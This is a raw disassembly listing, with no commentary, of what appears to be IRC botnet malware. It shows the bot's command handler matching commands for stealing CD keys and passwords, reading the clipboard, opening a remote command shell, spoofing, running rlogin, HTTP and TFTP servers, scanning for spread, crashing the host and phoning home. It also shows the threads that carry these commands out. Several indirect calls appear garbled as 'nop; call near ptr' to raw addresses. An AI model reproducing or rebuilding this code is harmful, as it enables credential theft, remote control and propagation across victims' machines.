		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C2
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439F
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439F
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AC
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AC
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404293
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404293
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404259
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404259
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422E
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422E
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F4
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F4
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D1
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D1
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B3
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B3
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400E
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400E
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF5
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF5
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB6
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB6
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340B
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C8C0
		push	offset dword_42C8B4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_40340B:				; CODE XREF: sub_401ACD+1924j
		push	edi
		push	offset dword_42C8B0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403528
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343F
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C89C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_40343F:				; CODE XREF: sub_401ACD+1956j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344D
; ---------------------------------------------------------------------------


loc_40344A:				; CODE XREF: sub_401ACD+19CCj
		mov	eax, [ebp+arg_18]


loc_40344D:				; CODE XREF: sub_401ACD+197Bj
		cmp	[eax], bl
		jz	short loc_403454
		inc	eax
		jmp	short loc_403459
; ---------------------------------------------------------------------------


loc_403454:				; CODE XREF: sub_401ACD+1982j
		mov	eax, offset aEmpty ; "<Empty>"


loc_403459:				; CODE XREF: sub_401ACD+1985j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_40344A
		push	offset unk_42C868
		call	sub_4151AD
		pop	ecx


loc_4034A6:				; CODE XREF: sub_401ACD+1C5Bj
					; sub_401ACD+2F44j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF5
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A23
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C834
		push	eax
		mov	dword_4CEE08, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4034FE:				; CODE XREF: sub_401ACD+3023j
		cmp	[ebp+var_8], ebx
		jnz	loc_409855
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73


loc_403520:				; CODE XREF: sub_401ACD+7119j
		add	esp, 14h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_403528:				; CODE XREF: sub_401ACD+194Dj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F75
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F75
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5E
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5E
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F26
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F26
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEC
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEC
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB1
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB1
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C25
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C25
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B4
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C78C
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403693
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403693:				; CODE XREF: sub_401ACD+1BA8j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_4036B4:				; CODE XREF: sub_401ACD+1B90j
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403708
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		jmp	loc_401F52
; ---------------------------------------------------------------------------


loc_403708:				; CODE XREF: sub_401ACD+1C20j
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372E
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A6


loc_40372E:				; CODE XREF: sub_401ACD+1C4Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C720
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1B
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4037D6


loc_4037C0:				; CODE XREF: sub_401ACD+1D07j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------


loc_4037D6:				; CODE XREF: sub_401ACD+1CF1j
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_42C6E4
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_4037E7:				; CODE XREF: sub_401ACD+1BF6j
					; sub_401ACD+1C0Bj
		mov	al, byte_431CE2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_431CE2
		jz	loc_401E94
		mov	ecx, edx


loc_4037FE:				; CODE XREF: sub_401ACD+1D39j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FE
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"


loc_403818:				; CODE XREF: sub_401ACD+2009j
		push	0Bh
		call	sub_40B33F
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403867
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C6A4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		jmp	loc_403ACD
; ---------------------------------------------------------------------------


loc_403867:				; CODE XREF: sub_401ACD+1D65j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431B00, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D8
		mov	edi, offset dword_431B00


loc_40389C:				; CODE XREF: sub_401ACD+1DEDj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BE
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389C
		jmp	short loc_4038D8
; ---------------------------------------------------------------------------


loc_4038BE:				; CODE XREF: sub_401ACD+1DE3j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431B00[ecx]
		mov	[ebp+var_74C], ecx


loc_4038D8:				; CODE XREF: sub_401ACD+1DC8j
					; sub_401ACD+1DEFj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE1
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CB5F8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_403980


loc_40395E:				; CODE XREF: sub_401ACD+1EB1j
		cmp	eax, ebx
		jz	short loc_403980
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395E


loc_403980:				; CODE XREF: sub_401ACD+1E8Fj
					; sub_401ACD+1E93j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E2
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E8
; ---------------------------------------------------------------------------


loc_4039E2:				; CODE XREF: sub_401ACD+1F00j
		mov	[ebp+var_7D0], bl


loc_4039E8:				; CODE XREF: sub_401ACD+1F13j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039FA
		mov	eax, offset aSequential	; "Sequential"


loc_4039FA:				; CODE XREF: sub_401ACD+1F26j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C624
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33D
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403A84


loc_403A72:				; CODE XREF: sub_401ACD+1FB5j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9F
		push	32h
		call	near ptr 2680F4Eh
		nop
		jmp	short loc_403A72
; ---------------------------------------------------------------------------


loc_403A84:				; CODE XREF: sub_401ACD+1FA3j
		call	near ptr 26908E1h
		nop
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C5E8
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403A9F:				; CODE XREF: sub_401ACD+1FABj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403AC0
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403AC0:				; CODE XREF: sub_401ACD+1FD5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_403ACD:				; CODE XREF: sub_401ACD+1D95j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403818
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_403AE1:				; CODE XREF: sub_401ACD+1E11j
		push	offset unk_42C5B0
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_403AEB:				; CODE XREF: sub_401ACD+1B66j
					; sub_401ACD+1B7Bj
		push	5
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_403B01
		push	offset unk_42C590
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_403B01:				; CODE XREF: sub_401ACD+2028j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B24
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B38
; ---------------------------------------------------------------------------


loc_403B24:				; CODE XREF: sub_401ACD+203Dj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2680000h


loc_403B38:				; CODE XREF: sub_401ACD+2055j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B48
		mov	esi, offset byte_429110


loc_403B48:				; CODE XREF: sub_401ACD+2074j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42C55C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset byte_411797
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403C14


loc_403BFE:				; CODE XREF: sub_401ACD+2145j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_403BFE
; ---------------------------------------------------------------------------


loc_403C14:				; CODE XREF: sub_401ACD+212Fj
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_42C520
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_403C25:				; CODE XREF: sub_401ACD+1B3Cj
					; sub_401ACD+1B51j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C44
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C44
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C49
; ---------------------------------------------------------------------------


loc_403C44:				; CODE XREF: sub_401ACD+2161j
					; sub_401ACD+216Cj
		mov	eax, dword_42907C


loc_403C49:				; CODE XREF: sub_401ACD+2175j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7C
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA7
; ---------------------------------------------------------------------------


loc_403C7C:				; CODE XREF: sub_401ACD+219Cj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		call	near ptr 2680B57h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h


loc_403CA7:				; CODE XREF: sub_401ACD+21ADj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD2
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl


loc_403CD2:				; CODE XREF: sub_401ACD+21EFj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4E4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D6
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403D86


loc_403D74:				; CODE XREF: sub_401ACD+22B7j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA1
		push	32h
		call	near ptr 2680F4Eh
		nop
		jmp	short loc_403D74
; ---------------------------------------------------------------------------


loc_403D86:				; CODE XREF: sub_401ACD+22A5j
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_42C4A8


loc_403D92:				; CODE XREF: sub_401ACD+241Aj
					; sub_401ACD+4D05j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403DA1:				; CODE XREF: sub_401ACD+22ADj
					; sub_401ACD+23FEj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		push	edi
		jmp	loc_407286
; ---------------------------------------------------------------------------


loc_403DB1:				; CODE XREF: sub_401ACD+1B12j
					; sub_401ACD+1B27j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DD0
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DD0
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD5
; ---------------------------------------------------------------------------


loc_403DD0:				; CODE XREF: sub_401ACD+22EDj
					; sub_401ACD+22F8j
		mov	eax, dword_429080


loc_403DD5:				; CODE XREF: sub_401ACD+2301j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEC
		lea	eax, [ebp+var_C4]


loc_403DEC:				; CODE XREF: sub_401ACD+2317j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0E
		mov	esi, offset dword_43D808


loc_403E0E:				; CODE XREF: sub_401ACD+233Aj
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C46C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset word_410A4E
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403EDB


loc_403EC5:				; CODE XREF: sub_401ACD+240Cj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA1
		push	32h
		call	near ptr 2680F4Eh
		nop
		jmp	short loc_403EC5
; ---------------------------------------------------------------------------


loc_403EDB:				; CODE XREF: sub_401ACD+23F6j
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_42C430
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_403EEC:				; CODE XREF: sub_401ACD+1AE8j
					; sub_401ACD+1AFDj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFF
		push	esi
		call	sub_41B779
		jmp	short loc_403F06
; ---------------------------------------------------------------------------


loc_403EFF:				; CODE XREF: sub_401ACD+2428j
		push	0Bh
		call	sub_40B35E


loc_403F06:				; CODE XREF: sub_401ACD+2430j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409855
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA57
		jmp	loc_4043BA
; ---------------------------------------------------------------------------


loc_403F26:				; CODE XREF: sub_401ACD+1ABEj
					; sub_401ACD+1AD3j
		mov	eax, dword_4CB570
		cmp	eax, ebx
		jz	short loc_403F43
		call	eax
		test	eax, eax
		jz	short loc_403F3C
		push	offset unk_42C40C
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F3C:				; CODE XREF: sub_401ACD+2466j
		push	offset unk_42C3E0
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F43:				; CODE XREF: sub_401ACD+2460j
		push	offset unk_42C3B4


loc_403F48:				; CODE XREF: sub_401ACD+246Dj
					; sub_401ACD+2474j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDC
; ---------------------------------------------------------------------------


loc_403F5E:				; CODE XREF: sub_401ACD+1A94j
					; sub_401ACD+1AA9j
		call	sub_40AB32
		test	eax, eax
		jz	short loc_403F6E
		push	offset unk_42C390
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	offset unk_42C364
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F75:				; CODE XREF: sub_401ACD+1A6Aj
					; sub_401ACD+1A7Fj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F94
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C34C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403F94:				; CODE XREF: sub_401ACD+24ABj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D7
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C330
		jmp	loc_404286
; ---------------------------------------------------------------------------


